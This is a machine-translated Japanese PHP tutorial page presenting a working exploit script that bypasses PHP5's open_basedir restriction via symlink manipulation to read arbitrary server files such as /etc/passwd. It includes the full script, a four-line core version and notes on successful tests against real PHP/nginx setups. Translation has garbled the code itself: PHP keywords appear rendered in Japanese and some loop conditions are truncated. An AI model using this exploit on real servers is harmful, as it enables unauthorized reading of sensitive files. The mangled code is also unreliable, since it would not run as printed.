ホームページ >バックエンド開発 >PHPチュートリアル >PHP5 フルバージョンは open_basedir ファイル読み取りスクリプトの脆弱性をバイパスします 詳細な紹介、_PHP チュートリアル

PHP5 フルバージョンは open_basedir ファイル読み取りスクリプトの脆弱性をバイパスします 詳細な紹介、_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 10:09:221097ブラウズ

PHP5 の完全版は、open_basedir ファイル読み取りスクリプトの脆弱性をバイパスし、詳細に導入します。

この脆弱性はかなり前(約5年前)に指摘されましたが、PHPのコードには問題がなかったので、現在まで問題は存在していました。私は気にしたことはありませんでしたが、後でYasengがテストしたところ、5.5で大丈夫だったようだと教えてくれました。

脆弱性の詳細は、http://cxsecurity.com/issue/WLB-2009110068 にあります。

私が書いたEXPをください:

コードをコピーします コードは次のとおりです:

/*
* by ピソン
* http://www.bkjia.com より
* 詳細: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
エラー報告(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %snphp_version: %sn", ini_get('open_basedir'), phpversion());
printf("無効な機能: %sn", ini_get('無効な機能'));
$file = str_replace('\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths =explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i   mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths =explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) 。 "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "n---------------内容---------------nn";
echo file_get_contents($exp);
delfile('tmplink');

関数 getRelativePath($from, $to) {
  // Windows パスのいくつかの互換性修正
  $from = rtrim($from, '/') 。 '/';
  $from = str_replace('\', '/', $from);
  $to = str_replace('\', '/', $to);

$from =explode('/', $from);
  $to =explode('/', $to);
  $relPath = $to;

foreach($from as $ Depth => $dir) {
    // 最初の不一致ディレクトリを検索します
    if($dir === $to[$ Depth]) {
      // このディレクトリを無視します
      array_shift($relPath);
    } その他 {
      // $from
に残っているディレクトリの数を取得します       $remaining = count($from) - $ Depth;
      if($残り > 1) {
        // 最初に一致するディレクトリまでのトラバーサルを追加します
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        休憩;
      } その他 {
        $relPath[0] = './' 。 $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

関数 delfile($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.'/'.$file);
      if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    @rmdir($deldir) を返しますか? true : false;
  }
}

関数 File_Str($string)
{
  return str_replace('//','/',str_replace('\','/',$string));
}

関数 getRandStr($length = 6) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $randStr = '';
  for ($i = 0; $i     $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  $randStr;
を返します }

/etc/passwd を読み取りたいとします。実際、原則は、リンク ファイル x を作成し、相対パスを使用して a/a/a/a をポイントし、次にリンク ファイル exp を作成して x/../../../etc をポイントすることです。 /パスワード。

実際、これは a/a/a/a/../../../etc/passwd を指しており、実際には ./etc/passwd です。

この時点で、x を削除して別の x ディレクトリを作成しますが、exp はまだ x/../../../etc/passwd を指しているため、正常に /etc/passwd に渡ります。

本質は次の 4 つの文です:

コードをコピーします コードは次のとおりです:

シンボリックリンク("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink");



http://xxx/exp にアクセスします。サーバーがリンクされたファイルへのアクセスをサポートしている場合は、/etc/passwd を読み取ることができます。
open_basedir をトリガーする操作はありませんが、達成される効果は、open_basedir をバイパスして任意のファイルを読み取ることです。

エラーはphpにはありませんが、エラーの原因が誰にあるのかわからないため、phpはこの問題に対処したことがありません。

open_basedir

PHP が開くことができるファイルは、ファイル自体も含め、指定されたディレクトリ ツリーに制限されます。このコマンドは、セーフ モードのオンまたはオフの影響を受けません。

スクリプトが fopen() や gzopen() などを使用してファイルを開こうとすると、ファイルの場所がチェックされます。 PHP は、指定されたディレクトリ ツリーの外にあるファイルを開くことを拒否します。すべてのシンボリック リンクは解決されるため、シンボリック リンクを介してこの制限を回避することはできません。

特別な値 : スクリプトの作業ディレクトリがベース ディレクトリとして使用されることを示します。ただし、スクリプトの作業ディレクトリは chdir() によって簡単に変更できるため、これは多少危険です。

httpd.conf ファイルでは、「php_admin_value open_basedir none」メソッド (一部の仮想ホストなど) を使用して、他の構成オプションと同様に open_basedir をオフにすることができます。

Windows では、ディレクトリをセミコロンで区切ります。他のシステム上のディレクトリを区切るにはコロンを使用します。 Apache モジュールとして、親ディレクトリの open_basedir パスが自動的に継承されます。

open_basedir で指定される制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「open_basedir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合には、それらへのアクセスも許可されることを意味します。指定したディレクトリのみへのアクセスを制限したい場合は、パス名の末尾にスラッシュを付けます。例: 「open_basedir = /dir/incl/」。

注:

複数のディレクトリのサポートは 3.0.7 で追加されました。

デフォルトでは、すべてのファイルを開くことが許可されています。

VPS (php5.3.28 + nginx) と Raspberry Pi (php 5.4.4 + nginx) の両方でテストしたところ、正常に読み込まれました。

ラズベリーパイテスト:

5.3 XML のホール (多くのファイルが読み取れない) と比較して、この成功率は比較的安定しており、多くのファイルを読み込むことができます。また、バージョン要件がないため、害は比較的大きいです。

Chengxin の CTF を数日前に試してみましたが、Apache でも読み取ることができました。そのとき、kali マシンの /etc/httpd/conf/httpd.conf を読みましたが、何も見つかりませんでした。

サイド ステーションがなく、トラフィックがゲートウェイを介して転送されていることがわかります。

http://www.bkjia.com/PHPjc/945716.html

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/945716.html技術記事 PHP5 の完全版では、open_basedir ファイル読み取りスクリプトの脆弱性が回避され、詳細が導入されています。この脆弱性はかなり前 (約 5 年前) に提案されましたが、PHP コードの問題ではないため、問題は常に存在していました。 ...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。